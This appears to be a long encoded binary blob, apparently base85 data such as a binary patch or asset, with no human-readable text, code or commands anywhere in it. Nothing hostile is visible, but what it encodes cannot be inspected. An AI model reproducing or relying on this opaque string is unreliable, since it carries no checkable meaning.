zH`s`PU_o-g>9IEK430I@8dlUav4GK>-WpZ#&OLe9u?^w_@fYk-injb@@%bR=e6gkN z{_%?;7W%!HdGfqRA5Pb5lZp=pT#A*ebT#Ist6r}1gtkuZqD510W;ujy(%q=t?f4BKRwnnDr z5z0+d_%nYO7lH}w#%nrs1kwg`Z&M#&)HJS&8YrxBZZ>Ra`|yCg@y$THIX@+k{lcB*K<%&j zF0~4eSXb}c>{)_}k~^{jWvD6^M>|t4Kyg#cx7GW6DS{%mPP^z6h?+{GDDSn z1_M+it)Pv1u^&vw1ZZiS1_6x5;Mrf&$r(l61pJz8ymbWY_q{u5L7Qt=%}j{~2I9!& z1YO7c)8n;(=73!IYAaPI!iosza?@J+nX&C5crx0GZiS4_7I zugvJQj2mX2Xc-BblOub6<7{gilAKLT!2DELQ`7O<2lB^a?N{4V&&^khV7Qny6~HFf z(op^xoYBRkUH`h%V&6(-$9SREx?4|DbyercPz;ga3W|{V#EB5-J=!xnLU`G%oLGD* z5vhqNH8^a|>N3U3YCl6hEUrK7Q*ZNpmmyWEMUTDc3-q)mF2s;zw(l_c<(IaYVu^=8 zAElrCTqf4|1{FGkc9?eGGVxlQ^2QDSx_h12jnN6;aY+qI4RGV}^)!67X%9}wD64sQ zSMu`{0ikAbngZnl(4DN{2Ks_pl0b!ZUOAk8{wb>=OOyPQ`r+D?&3HEAW(=?EQ8V*W zv(4QzUaWUlOLUQK?@*IWU8x{_YBSU4lvh~bsOg-sp8U-j=(Ayg&^fVRHryd8;fRs#k}2K2&J7IexNF)=2t@ z7qQZ2)u|Ff?e?Ckb*%cPPMcrg72VxcUu1Xhi%hX+Qg%8#r;=*8D@z!tM55nfW&6x_ za|q=kjlK)2=Hgy-d>9tDbkKekg*2g)=Gv?BXTB(3yV1rwT(ZTN-RdhUwH4g_suigI zGn-$YL$uag+oSt_-QODr9eXrX<1=K3-W|Pvuw~V(So@L~G41yP{1pYNlP;21(@2Q- zFSuHfhGb5>oL!)6GwL>e$MX8ub?eVEpQH$_x#TK$xKGN>XPg^hf4zLJ2jT0UUs`Kj z+mG*L)mbPwZg7mgbjMhlOm}5&*t<<9Ba+`mb_~bxn=bHhfA~Yld;A60%^~nGP{;+w zezckyF7(L!nzS9kHo4snMS`I+I=AX5LL-HARmM$dy?HRg?AQy!V&3x=~XY<&>SiemFkVRzuvwDZJH_VQHsWI4;W=xTf9!+Q3TX(BD=S=buA=^4(dtmUJ3%tCU z%J@Tdm3pnO=W3(%=Hr&|(kN|1{)C$7sk2xXd_l=Ot0dfhYQn^`EbZXiKJ+l~H}^eS zYTv7>yjpQ0A3}?=j{Vhy8PvO>!KY3gpaK5TG$d@Fd0=d43LauUIL2}t8nMFkI+i?v z>o4ag&gySmqrbg3vtQE;a@cBjiTwlo5eEL9=;KE! z+DbBxpN^lAMdoX0DA7NC^%gMTo=cez{d>Biw}1B@1rQ5JhgMYH+${d~PQb!U?lj~^ zNe&tFP=^Yu#rgB?g@p^oyK1Rf^M9C5staCMU1e)o@B6;#FLmjVLaiqjGw7Q5)q8Pj zly8q@rz;$N8CCD~5er1LZ}v8_CERq_CY^Cx$GmYQwt73njsK5QyMPtj5ceSIG^o6jrjJsU>BDeIW zv!s1SPt+T|YzAmrg3*$`8IuuJ&J9ys*cd1AkE^;kl1AzU{g2$6c!Knl2TNw09}Pz~ zSroP0`Z_e#=;O8`rH9>JR25~0`{PKM)KW(qUAHL(sZ@&07Ekr?G~C32Thp&b`Aqua zOmq21rVnY1>rr$RD(rA4t9NYwUR1Br8;HmQHoll8gN$;%X5iMH~xGJJByGSUi^;z*N*nR z)uY9vdts9s20j}C6iq)*qTH@7{2JE6N5qdq1E!L^8)KoO?&oV(0(SGbL&+R{yCdmP z*V9(m=7JTtCzZ!)m@TY=D#~Vt{~nL9qcZS(uWwUB4=%47pl&`W=z?b8SZZ6rwY=#j zWkQvcV1aWI+=NQw6#@Mgh#rj_!r2Z2rR&h?FfPdz^rN%J6HC+jm!r_h5EXFhnT`#2 z7dN3F3@4anrq-zGG3%Cn(<*M-G4bIuNJ=RPGojp?F$zDye{$e+cz36t_fC} zCVvsUqlgMDvY)nFGB;hw$||rIHU>DNwg$6mR+UK8rCSfOP=U->n^{B2XEiPh`|d+g zmY+yn(PUy1@fNebUaeE36syTCGSiocu)XLsFwZw=LPrmBdv0msN;0WMil}@MM3RT| zoqG^$ALUxgl!XG|_F?hPKC`_Ib#&VDYbDWaPYHhN>#^I!m_~#opl9h&w#YB&LlvxD zNh|nbZ4TACl3|=<7ACHo@tVZXzn)Ymj*2s|4U0UzsMUm(g4&SFTr}stzajj5n-frr zzU&*hCDRZ8AvB|F*8IBGP=f?hckeIpNMk7Xi(FfxKli@BtNqOL@>c>q%avkXQXcNT z<32%gzT4S`j&{~<%zjJm((Ue0$!+)7A3y-{m?ry%QPiA|lIig4M}O>4lj> zZVHZjy6j?)H)efe*9C6ej){t#3`$1|%*kdPhArAuve71vcZ^HNYwbpkvfG2FL>!nW zt4P78ZsNvWE9HlW2Z8R;5qvB0Cmqo%+cktv`@>Xvi;aj`PVTn@dXsp|O3!dtf&#k^ ze;OeX)YV%{Y()H$wDioOyacp4?}hTK}`_E@Vpw9pZnJ7aV=n z)fPswWs72Z5c)-P*Q?BZ&ZzK#d?A&|iFv;!=(We(j`w5Ri;swQ1L!;-xDLJ1(?LY> zLQ^w!q@=V1l&PKBaPq(5P{HdZ?#}McM#QwiKD6dKY^}zCgOOq}hRkN=OAWwZtA>)X zOj^Ber#4cOd7@#0{Vgc~o4#g*lFLTJ z0rVN5LG`J^0Os3Bc~}X7S4VPWtha=U8X!pFiq}{u2?C+L4+2+fL)ckFOFUx3siUNcCdo`$VZVAIfC&;oO76 zIE#Wy*1G3a(>cG2d^!wfD>;P{z`_wt4mg**~} zv|0-)ze_b4YP#k1&?pDd>3zoKwV|P%zI~Inp4ea1HNhbly@NlUUz)8LU23lt2xDHZXkpHiWk zgJA$A+Taf$@2UtUW4WY5miRq5Ffb8_Kfxzi%}mNH7u!kjUUEevd(-n52bR%Q06*rz zWn_UV-I|d4Z^z^pD~_)xZDc}TNb4v;KrDHWMI?dAapfPaa*#<1B~k5=>3_T*r6ZBw zHO5r#4rZ|AdJYX&m>^ytVeu}Y}nkw>sR z?hsUf`Il3Dz8|WyXKxTAK_y-bWq*|4iGZ)su-wyzcwk80ElgSOYY^Aj%)DK0kSCcc zZ)nt@8K{uEtX+G&ZV=+31O1Le*h1R$I*I)pTurZ zQX@Dyt<-;A&DxoW@*(~>ZcC0wsMK%(MLt3B(<4LQui4hKKNwB7%kx!cP_aozxwL}; zFM1GY|1Mt;9J{sbzGUyMQz4JU^y#gYxJuLY-{b@TAM4#y4S9XP`R?KK)eHPKMRxZ= z)y^+=4ZG=V^LJga8`H4{?e=>z1I-MVz0m{K7!-DHG=L$DVa{g+nX3ewW&RS#O>on^ ztcwREe+Lq>*Kx+ONE8dQL5vG)LLqe(fSK>FG&gK5o5un?W?Gt&oz2b7EB9)@zG#XO zzJEKeE1o}S?rxUY-gs`NP)g`Mk7t2E=2wxY1HvmP{_P7JfJM*&HPowrX`ge9F=@lV z+JRw!17wtc$NzKV`2U|7S_jDRbd5&|RJn9(txZM~$8z4Cu2VhTpgLCrV#FLsg4Rlt z=SkxpF6AR?&DXz(DsWD9bV5R0w}VMi+qvFcjZ#fZvef`=&gPr_&RyVey6icz{B-aP1trBrdM@Pq zAgX*hVam`rkNMDliFM-L%HtL5JTP&mT@a z+If<{4~~xZ0*)08$S;VIQL%Xy1Nm%c_qCX6#`_i}9b8 zAWocgg}-qVL&j=JThCg$Pt7OXTJH=71UfiQC(D8@SCfj?lX>Cn?Yf9~amK(^yFauL z;7!zZ$CNY|k)iP(6W>94WF^7z&=NrHQ+c$cMjiwiv zB97>wI+br{L%)4H@HTJ%+huk3fD(JKOKZ_0egK2lz7vC6Fs6(SL;6r}wnkuWT?0IV zyF?ChU$}9?w14AbSbTSgx;ow!`diE}C&?nJmMda8-E9k+XT6uTv}ABUUeqWkelsid ziGfj4RYoR+ZvQtv+8eQ_2NzbOHht8OfX=i?uc3lYJFc3e?dC12x#oI8N=g{8D-!$_ zq)s$@IA&(zJHHpK_d7#nN*DHE2X@192w;72Vk#cc)0O7A<3?PAfq1@R>xnYBhC(D9u0=Qa%|@TZOpLXo)-|rzHh2ZxE6X) zJ>-nYEidjy9+|oO z4rCl-0GIl^T^VvLP?pAg1lql>oOJj7ToxZtZ8Kx50Wnz)pv170KZkx2ibJD4DEsUnoALR#B^j(UKK{WlsSF)Tz8A{(1c}Kg zQUQ;bw%&$8KPwEHf9f?jcmt%3B3dA^@@o=De_G{xzQiNejU)c>VRwLHpu_ceafa!a zc7p@O_37H_bi; z0uV=B^B^&~Y%aVi&v-tS=zk|%lQglsY<2}PBANt$_YX$^b4sUl#yK_^-z;7;GUK3y zWO-Ts$TG@(RBoGrX+D<%5Zg~c_+~dM`xcoS>U7mj11FPyx?g)z5Vc>Z?kVd@MUl{S z5sW~2Ir)C%a7hh+phJ$K*QSYxgrq1q4N%$WqS9&34v3Kiu^jM#-~swIQg08vfxyb? zy8ofjdwC|{Xr8NK@2xAntcv;8Wo7h!AYmK)@dx%-^E^R3Uk?|!w}oUF3BlKGHqBm{ zYFSGLITh9YQ@YL%AZ#rDp`0%DH#^ZN>TPFy_(jqhZ-ag|0NPKWL14Vzg|j7hhbIc~ z{?$oE?kI9j{dHp!_Hc4lSMva%cZJY=X|>3rmVKLxjTy`9u&woxY3G{! zP>a_~^tb`ye$K@sXDP}%+gaa8)m$0KUp5~p-QQr)4Fvp`%skZ00i4q6qKN{3H5(=9 zlu#Prvl^*q(wG22ABe)(e<9b@NY;Op7h0(Qt!SeN-D{>i0#J6Q1A7z4ZN|`ECSc-C zTd!TD^FOHO4zuZAVFT*_0BT0zC7{?8ljj79TT=WV+vY#}JoL|h1SS6~mF)jYMk4ac z{r;iH*QMg<)wCI=%p4_lvywC+{hkDpn6?qBU)JHX_C-q?AgAC1HkN=i5At%yaw~Si zi>6|tG~TkPn!U?dzhdjU&}jW`qds1No)5Qkuf;D?uOe0v_rdTU-DmOB==v)8&wuOkwXA zd?2-K;UqI^)dp!p>n@{XRGP31H&BU6#f$=X9>mD0c)r>EMFxkZ;xflWpBdllMe z8bX%b5Zb)b#;167Y7VUM8X3XC=kJ${$$`}{XY^5cUtG-m(E9LZXK8olYGjq%x9OZ* z41Ph*Z!aFxUCEKHGsU0{7ndg{O#I)VqfJ0F?s?ur?DY3PBmB**kjz2G$Av&AavZ?|ZZrwtlxUwWG$itP-p-m^gbf!<*ylBi~@)7y*x!P#2|#T9K`ySN7n?oJ>CcXtUM+#y)-paFtA!5Rqe?(PH+ z?hxGF-JNfDa?V@tSNG4oxBsOoMR)Jsd#yRge8yPY{{w;XKOWWaHqw;<%3?>tNmaK`pQw7}M z=If@L%X3(cNLr<`Jguq>Jt1gD)BRpvR=#Zgf&5K!5`H9majK6qnmXdE@eFZ=hQ{H? z)WG;T8~=`<-k6cFv)mk9O z%zTilfX*4eUB93EAir7dLhg0q8t&@E40lEJL(|x*qXeFY!3*CjBT8a*bX0zyA!*f4 ziog$J&kiT?i6kwM$A8ptG-r7t@Ah3wLrw0Jl7Q6OW!1dYp6UZN3L4W9(^T#12Rz%+ zw;0iEQ7Oaw;Yu>GCLvQlD_%Aqv~d72rt4(+m-8QfdThwuCiF`7zR>aC+T+W zdFuJmI=b{<58cTeRz#)%QuxPIJZ}B!-oyHp9RBc|{&PFf=BX)W3)<_KMvu{T)6tgQid-NcA%?M1ooFTH@S#0_F23Z9T}>h0aK(A zrojtd2obuGxj)BPa=y`<@#Cw^?G|E1lGul~0Qa#b30Kk|&yd_zC6Ud0dogB#2_A4YRruvMl)njz&M@Vs8DqBCVGmcj9 zr%J;K){b^$UiPu>b5BdXG~U86qTDhA|2Mre!oAuInr+BQJUoSe8k-&`_IPi8zkAh7 z#OEQD2_9}1QV<#3*q7%2nPXWR*2|S5e>s@xIqR-jeFLG8G*mE?_HMx>G9;wd!6c-V zA^K5+lG{NjP7R1q0Y_*YE&sw53r3wzO7VJrSYNbj?+HZ4MaRPnA?9=0v)R7R3MQGn z#GyL`nn@MV&zu)u2aVO9Fx=}0t`*nc(asdb(gmZtMl%O*=bB%$CrVYhIO3R)kw9*o z8VO_Co}cVA)O+{TSn1!Ev zEMEZiG)js*cT7bS^fp9)XXndW#8KTCS?#63-bG3~1+51p&F!~+#I0%kO`P`Ni3klt zCn2@l@pg*3daf2i;@e`@J@5B9IC zCgr9oS1|BuWZB6hIjiK!XSbUOhl?La=D*c>eeJLG9Fs`pKYRg(%eNBkv^A{4?a#+{ zX>g(-8moq77eY}{Q76#Fq%0E;ET<@|FsauaIf>Vuk;l_{A0D4eDXMGfF(8{1`=@7S zk~yN~Sm@bbBNkl-;_3^pws|H|XCplmXNQJGSm#sMI*J9X{6Y8Daw94j#ePXbJS*~7 zeoju3)u8EA>Tgz}Vs!1ExYzcJGt!LI+YIym32t$U2Y~s5Gg6`d)YPWsV6FV<&@Pj1 z(1f@`wdiO?9(5;(JrMcLo4|ww4DlvHLlLNV0~9jMQw55oQ)N1{y2c>Gy|RWC2ZFNl z+=qavCfD=No*s&lO_UD1hn~2gloUG!w+9Z3F*iN0rz`5kW{)HJUm?%?c}E&QtDs_O z?~Ri_;9;iqd57+KvS{uT`Gbpt=m7x24Gm7#wYT(g{BYSh>bf^H!e%h-U=Ij_yI;C! zVnHv0m}~u1^F;f*#$^p?`DFe~(r+7md?0{CoFsDmGKJ(Gtw+Rf*T7AOvcA6Vu2rA# zykrUr;Xj`~acuO^de%~kZ8?y6ZtCZc4U=@X;u$QxUL|ETtr_`UB#m;qn=cc=1+`$) z;rp8|5ubaIjydLNV%R3|vV7!-YLnf48mTUWK7*NrSh7sm=r?!K*qxEgcLB`A2+l+M zr?aj4{XOQP160QLyVL4cV`8wZF@0G$pliVp-X8KC>^MTLJeOBgh~!r`OchGvZ4*k5bHCGlR2BOj1XNKyO3W~<`ELLAm^8Q{p_T|j~H_GQl|R# zlAd{b@RQae%Bq1TBjk7qqVO+-VU5Rlrxmb-qt>}8f?ZC^|cPCtr(0}#`ke7^nXZj2&j`nRpN+zBjU|>s8CeAbs zSG`Og_(^(j`1TOT zN_OD}lk?k{Ww~B3jCD4(Us%Dl1^G*35)dct?pZ8`VKfXs=c9X|9K6Dg$>b|pB#%YYZHX}OLR3a5u6^P5o; z3+A$tBWcobC;Addn8qdA#BCUg51VkzAq7w^w;)kxL_ZD||=>j;nD*KB8Du$@FO=k>@3uoP6t3Rpzw1Am}~95I^gW_c|y?0~gR z3^nQ-axhGT0{(}d08p)iU;qDI;X|9GW+TmpqlpC5OrH1?b@{B`0N4w>%1NT2vzthZ zUi;JQ!e<5be8(EF8HWx*k5)$8l68iRT*dHL$Lh#sEqOkB3!Q&m?0XMe%CSu~xIRxF z9N1Xg`hlKW`p8qSM?>bLvWWiV;02bVn1ugC>}LT*YReN;pOr6?`_a$^J)rx$g#R5z z11%Kbyod<^VQgV3U>-Kc%N%W%mr~8o&xeGEg9{mO1qr;e2iKKJv)OiiNuzdBWP=uU zR+Ms&Y+nh_j(xLDsd-$_$ONCx#DEMdRIu0#p!}c9$(!B(4ZOi0Q`qUj1M;QqAZGMN z)A$|#(xs$F3*D?>K2-Xi4*aS2PRnv^@zG6u^;Wt`kanGAAP`Ie4wXSbLSmgo|LjP%4 z<&BIyJX#3@REOJmfAwPVE?~8BxI_Y(r#Q7!ELN8$jQ6!MRP+RkbpQ&=RS7!~V(^ZV z@;Am@i0M%L`hG#ijPEC)9tBi%%X0g61wSBV)@6K-jM{#R{2j3tV(@rF4#lX(9 z%f7u^lG&FhXCATi6T1({0;76&aegjhX<4j~6LW9zCqE(`4H3~EDRHT6Xkb7DFi2n! z6CYz~{{1T$h*1ydX@i4(0}Q*%$sEOMxeRMF3(^8H=8X8c!^DW1`X1*J9=FTi%tF^g zY12CrS&WHtM&A%|E42^a*tMJok+=dwSLK8z9a`TwwT3Hs_w6{1MCxo-W75Ar=3%Tk zJ_X0K=eE|9XJGP{n*3^ko{M(8#p}9mfvFag>4`K=A&{rUD{CSTjMsj@JU?FdJ8l3H zugeu=44E{m^vpXa>ay5bAWlZsJdEl;=?ql-B&s5}$T6fkb#Su%!GEexm~tE5>&9RA z)Fsw%CDcfh{i(OnIRb))m}G_70O6%I4T#(@@87UZgOQ#QMn>a5gMfmDCLTEeKMx@x z{FbcWHmn6{+C4>Y;fqZp3!b|x2#wEQ)6|BFg|kVnANp38!`q(^e@1`$G*ta8E0&VI zY{RwhKG;<^kg6wh7(x$~@>k;rr2k>`fe?GQ{)A!0@@VWB!#>T?KY(r4&b+*#-fm`Y z)Aty7zj8mPZbkgiXylj?Q(4x}`Q0UT;;N>s>V{W^*!}FdvXqX~@51#>kD^&i1k7yz z)Wj)7E*h!-XcC`JlA0L!AaA+Jl#{ZVXEZ|eC#~#|`$PMcCfkw`lgf~H=$Gfcog@IKjps2*kws~dg52@5GsSnD*BHs}dQ2l&&V&nG;*MlOjgOQlb7VDDCnkiv&pSe;Hs*z zv9b$l5a_LHuOi04rX6|kWBH1u&I^Y=+C8ZJ$xKeent*oXbl66AVddO3UrwE-&ti2S z^eM+;1!v)Xds(ia!DiX7NHB1PuQjetfws8}d(R z!b;W}cy}k}gwR55Bm!*6)oGRxri*dRfRI4sDka5g`BbFua`^TkVgdTNSy09O(J}~} z4af@w=2O(2Ni z*}@T@NDKergUmWSUi^hD{Ry3KfOP1J({fUN?Gy7Ki`4`pj&Rx3pFfoPTt+czd$>oL z>=z(WV%Lffhvw=`V9?ui7uU$Z@3hiFk`bGkSd z0I^kiEAWt#%h)Ql-kQeKtjinVf`=Uz$0CNoa0sU;*=5vPJm(2&f@BL`4Q4Fn=jO*j zroms;w{T06{(&C|DlaZQ^u%j@2dg#OULYrqN`HpG8P+&m4$T0uua5J@BpfMdGTK%^ z^FDz5vrk3(waqp%pr01wv`^+neWdUd!ccV8N!8%=p6XSIAo-$%56T0V^pjf<5e zUyszNqA^9o%z66CFJo7Jtbaw7Jr*VW6fZD$-NOLmaYnU6mE?B z#yvcICQd%=Z|CL-FTukq?oMDDATO?}O^L+D<6ayR9>x{Kpyb>NCl@a)o80y63PJwj zwd3AQ0w%5qTAIn6zS6JgG$2cB`QJlEW!hOerWGlS+A>6VAc?`P24k>T(0?7|oPD<} zI?-Tk?8tnziW;f@^p*v6U3fCJlPx#PZTV7%vlLSrf@2ka_g3C&LCqk!z6$ zOb-CSdGi%@l2td@gDhLLZSS=dr4oI2Z?Vg)F~jBBFT6edGbTi=r7l72Mda@+C-}Bmc`Bhx&`H!9`a)%TLRg!+{5H&68bWa z%5z|H12Xc%o8Hvl(9GsT3;~=ms9Cq63a~y)`GJl$l zyYr1g)Vv4axkg2_H;|4{J&3ZlZOy>Uj_AvCM!3aOS5-0?KC~=ahRjlQh9Dsf0ZE!A z^_Y`MMwR&|uGUJO#Uh>^xCNp_zjMie;OG2~#Ooo5%k$6Y9Han#&54?v{nsE?V4yPAW6-brnx;sgnbLXj#GCec}mshKm7xv62BnqrYa5t32k8xR$;D`M3gt->c$(r zAPJ_qzR@(p{c}?{3jzZsc>^y*{Jt8H^UVG1(IPCn6f`zEM{SF4FKO!lHN%P7BRp<4dQ2tIgIE< za>~$ueBEk_*aYa?`w;KY5^Q1_O6K-{0ExXA`1qkD0`A=Tz(x3#jtf)<8 zA}!Y2ucrqlX8P%31CzenHa1vT!BB;PfoT-54Mrs<>cdjx zKMzoWFyk-=JjSP2JR|7>ItEcNRx>U)n=-yKmlfzer45lD2qu9Iz@Y5nQgeq6s;p7>00YpL;tF)pOI z>%$5*2d@e5Mu9j5<8NIoL8Fi#CujzaRb8gtln#UB0UyGJwc0j58W4u||2ER({$UWV zEFbNczT{AlXLDH}34nA6vS+AuA8oMMUp9Ke|J95_`XP<^mhqo~+0Bj3}+CUp)- znv{ZqE4qg(00su001|@$Opzx!msrpP@B8h^^gO9sWmH($AK$KDr)?$vsB{VWE|^bq z;Dj|rq32qCrfZpTvRqX1ZPsOgd1z+TIEj2um59&pS}B-s#Yqp8-lVcO(Z^+m{k-wc zEdc>A#QZXqlp?V|nY3#WA_%!StsE3bi?nLYnoj_ga+!f6`9bC@%`TnDbcNUTdvJwZ z5xXhffsKio4Y;WbOFb}fTG5el2~-2=95bp0c zrCxP|)Qc3pA$qQ^jX9`@a8&QOU52@7t%QuqVmmrVm+c)LexP#M(mu+iaE=r)MFALG zYZY7==vwIc>g^{Ll?kA#@8gLNnlec4$OnS%0E(gkm1vtAlUsY91;7|c5&5&>@+fV~ zuzvuRYTaOtPoc6Ww$fD-qP*=*mnpu!PSm>sC<-=-shfDQFY2oZj3lmWkXNUxs}t~I ztP3TwRZ?~^iF>~;Fe=9G zY|vo_{j@eS&(&I%4kxmZV_9_0vh6a9i_kUnRNgVuVf*v8U3l;_$a?5$&+MyJtj%L$ z5?!l2(Indjy2XsKwH2(zXdfNF7whNT$YYjBU~R+HLuS>85Do6QaVKcCY}c}sPBQ&T zc*t7zX_$S87bddn@(YE%^loOb?kR(6Pz)_sliPV~AFI5@t$NYtbli zFqARV(Td9Bv*vRkX|ULG#Iqh@YhH!=Yg^K_ ztQozeAEAXhE-{?J{+LOH6x##fUWR9>Hu(D93KHueLx6j#m@E7#@wC4yvLH0uF_ zZjl8&Cc0I5jN!Yi2IV%Z+XMtXE*W^Cq>|4d-ecJs56GZ?N@XAgf&^7c;1>=*lwA%% zvG3rt8vmKgT9nwqX1vb9K0`EBNXx-WNb?8payBeX2$^NRh(rh$y@D_YD8dfy;tqQ~Y*P$o4qv(l{1wN!OK&*I^m zH*co3CtEE2rZ83~auhCAcif1)ML9w1sS`9KFxb2dCu+E02WS`hAWII2J~e@KO90qsn@ zb1biBEJS#0zn2zr!?^us9by2B%?+mn%9NIlm)@Z!t7esq8$impyePE9)CHoMS&@hz z(c;jgk|+Ua@93Rl4CD_77-|Z)PU-HtAEHw}PTk>hqF?R($u#8`nlk$Nq*as&w#un`YH4L6 zMo!$9DerVe^IBq_B_}~Th}{s^7vg5mG6{EJ&bk-Ulz{s9Ed;ra61dj#qzLwaQ2y~T z%%^_lY0(`3FPWf64C+_Hmxl}u=|>3qJXwko9*s!v;sa~d%{_2%2Sbi$A40cjh_W9! z90?;}FMWdJ5x6Fi7CU4glQ*yTRmsRl-0981(s!88tBgmdlq2imG>$6>Um74);&b05ZxGJqYBSmB>4%GaJi&3=yQY=%5rxP$mk{i+ZQ@ z)dQ(8;x!2w-4!P`KI>?l6Ohp`LPDpiXk!5!(~uLS=A;t877y0q3g&uZ`&F=KO->Hz zt>O9%fkKqE(i~>Od7WxT0ipBxR_Bj+seo;H^PqwkE5>b~hdCoyh*Dz$8sBn4fwPNZ zaqFeRe6>~(w=0QDvQ_caxvN|%dW9&vSWU2*p>em~U$s>E8mzkh;JCQyI_+wi$TFs^ z>DDSEwA#NWzg-UZgF@4(<$UE4btmfXw2T1+k+FMJQ1sE9Ze&PdHPE6Jf4;x(`0#Bh ze28nBQ#Mrwh3e4mi}n};9jQe%=XtDa3$^_IaK06vvGvHI^*oXB;;Hq>>5&%Au9=&i zr&avIq4%bZ91%aUflYd($PQ<(dmqNqjIZ4;&*0H6urG+K&I6URT2&6N544-JJ=u__ z@XuHSWO(EQqu0O`C18M9Qybo<7rDO|m_8EGQ}J>^=`N$v9P-PFnW|m0B4wt?!uj+K zp2^|n<+K3~^xF~V*HbczD_%sCmxFh!jmloJdCZy)Q?HY3iB$)tPc3~znq~1Bt&2;- z@5@ouUdH?bN1n}Yq}UwMfXW-F_`#P7dkc5XVU&7ndncKi5$Wnxpc4NNe2P}Qxi6lM z;rZn&7Z&mLk_-_)GZss|puh-;JEmBI%~u#Mp;vG3E(kUdy>3DzDc9mbyAafn@*Gt~ z)GoM0wPXkA8nsd~A=0J766f8}k^m(v+)`;}U{hG#Pds;n$IH*LcMGxv;36#G97v%IhWq@$3K6pDW zJ{!A$eK+0ta9UGUlZn$Zy0ek=op3E!1-8F%6}_pT#@--|pNLPxr#q#^{`^jY-+mF+ zv7(rqvg;Y!yDL1HyA)FI(e~WdXcTx7u%qxPvgv8?DJ&SxO+!YvrbM+x1c-PI7W+~5 zk3hMhTYoit`d9$4jn#skdo+%0QgsnJ)tvq7(lQAu+|p5(o0FE@w|K~$Ss$f)Q*2U6o459to=XZReS>8 z-Zv_Jg=QrB6%t7L6!Myz$~g-~O41a58mZsGwTQMpS{mcsPQ}MZ2w<*2I#;mqM+F7W z*}r2D47C;qSn*$@*qM6%+OCDBHgcZjA4HoudvI6Nrw=)gM!L()6^)O*Z$6Lq{W^Ot zchb|3`CojBmtM6ABG8K&mzVKlhL0q&K>x3Xj0X68PE8Pv6F0~)bw~%nkI!K-`M}fMEGazUNnS#<5sVTh7NUiqIY(Y>zB5o&g-4pWfJYY% zBS%M%;4Xkw*lMPkobjEYp~goXCcX5hG{?71PS`}(-kEw;Im0sJ#)RgD1d+u&yTs*@^DZhEid1rW7ir8CU=3*Bzx@y0OM_J za%ju>pXy=g0YtBl zHpAm{JVY#w{G=9zRduyQoXA1^(L@+iTmOH+yIGbfsBFkv4q-ylOy61Rg8i*fW9g>@ zLV>)aIUSQ$xoSHLr@e6z^N`#oT_6d{=`Ghc{1l+nnSQU%X^-Z(o4e4PnH@882BPu(-k znK8ZxE8W&l+L}U%%K4Wi=u&6vjad9gi7tk}l^x^W&I9aMVbfo{ZH`is1w$G3?+T?F zqk@>o>cr2*o@8K@{Nt4dd_0|qz#RCqgjuw;pH<@GTP%N_ z9n?Ia@H$*~!|uesi6&=bcFSeRXG#(gb4LzVuEV3SQ4;4?G?m$sN=jo`$&&3NyS~rj zifV%IVgE+qtvONFn3QMWSKPcgEgw7;=}*)=ia#0#GZp;mBi0>1S1ebR-xFyO$&QZZ zC336YSVb|m27jIxbnMBhOSFuKM~mnk^yKNSa#xhh)+XlDW!3$2eyVlMVjWE{of?i_ zcf6;TbTW3jifHC}Ybb3ZYUJ45!cHarW_orh@7A?c7qhG$KQJz4;?p6fd4#C629NqT zl*D>StzLZ~O9>MU#%9Mj9R(}Dq_AAy4`??1NjFwz%r)GJRW$Ni5vKfpHNk$jtH-JV z^*(>#o{tPc66`Gi7xouf__%Ro<8%wQ3)Cq{!#bg34W?U9eT(`f#|7?1VQ(c|V;3UqzCd%p6j>XUb* z&yKXI&ehrI?H$^UmM%G(kKL?mQXbj6heoiz9o5!(V?#>TwTl_v`caW9f-Pn8*;LO6 zM|SYF`s8O4F>hE!WO`4mWeQq52Ot?2=uaZdd-7TbGzxsyg@71HB!Hm397a5b$^S@iE~7{f^%3&SMWU6q1?ojsr|=yi=n z-LJ-TLrj$2OQ%Hz?qucza7X3Gfszr2g?0L8&01wvTc+0510yq#z4Ni=ptAbw6JCPf zC(7Qz*1EoRctI0U&cc)xy$DCRKS0RuE8Q}RPtDX47Wzu6iYtneOIGnBoPBYVxztP< zgDX+KU)aMuum>4r_#&tc6-h;vyymafz!o7qZHl8D?nOun5>L7OzPh1!oW#FgWk}^o zfv$Lf+#@A9AR6as3JC>l$dW?j9=~uEy*~9#{Iq2sH4a^w$OFLQKr3Z}(KB2Dk2yy)Ugz7>)+?jfJ>eLZeXCv5qonf#u zx+=bvtqhM6svS6z(H>ktSlSt|8ZPDcz?S;p35C9d|8hNYtP2FR&`ee?0Y+A5wXZ7l z`U1>G=R;?Y9t;mICy_?Vk}CDJr(6)YpVdGV^3zkfDFfSUpURsuXsvf?W4wk{qcxIk z7iPtt^>z#wM^7iT64~}pb_&<3WKWe{?aXEF$-k3k^G)c-rG9J=SYPjL`Lb||Bh3m# zul{WmEFYoJ&(_Q}n;AzKlu)fZ28T)ZCOUO*5^?=rYhh)STgjfY9le$!1E4Q#K47T9 zRHzFuADptWY;|duE+rxgwUf|)oQr@qwRvk+1^eEdi3t86f$`nN0XNj;thaxzw^Zgi z{Ft$23oq`gzHkX{rNb`C(Sjbg{GR2Bs&cZsm}r(>Fw!gP5Rbu}9D3a|IzbbW3|)q? zm7vAePie9F#=cIO z>W^=u_fs^1KusJvc-H8+=pWtRK3A#-!U#aMt}i>1i5@WZpj?|NCjd*q`=6$J0e#v3Nqp%CB7u{s=C=~y5xrU_5^{*b?uyTKLF?Je zgu5$O4v8R-GQ0&(ctgmN#mXZF%3=d%DEyS@3L{ndRj*IFO+=h_K9UQZv1Kpio#7(z z>s*n*nTQ*QI5l!Mbo4HNx$1j0ynN8wi(@5r)FtU^foBrlsMWW$g^Ay{3zbzi#~gQC zkN?c)^LAQVJ_S1EGjs8)C&GyUUTpgp--*)?y(-63ycv**H6HZtxuYGRm1PWqHaIQ$ zyjR72l*471s;K2CkkszlQD(cbS7Q>5Ef>V*16SAJ?ljA*=ADj+Hng2dg(qBA+Nnsw z>Jv84Ix@2soWz+M3|m6G&(2|QwjBVBlJMhX=zS@#>G^`?XJpJrd0pX;;qhvnR)u)< z3I)fm?`wb1($|w97~+pqCQ9q+6Z*}%cPsc;&RF*d0zO-pZo$img%ciIP_g5o2WhYE zMc-BrMj+({w$Z7W32Nlm+qA@WE0lOL)60nt&)BAT`H8ngs=gtE6*Ch#Qpm$@QNVc% zlCZ)&_tmPh@}Kg~A4*b~HqEaSU-GSVfXubwrVEy8&KG)NH%J~}c=oXd?M&;IWADNR z0uzVd=S|Lum}ol_i;xMMWJz#5BdKSkvYFUJYWEi>d^M?K!bsJ+<)1D?BOMaee78m- zvubxoNjUB++8VAc2@^byHuwir*&j_&1BokhF_UZcV71PTG5Fh1cdU~F$LXJm0TuJ2 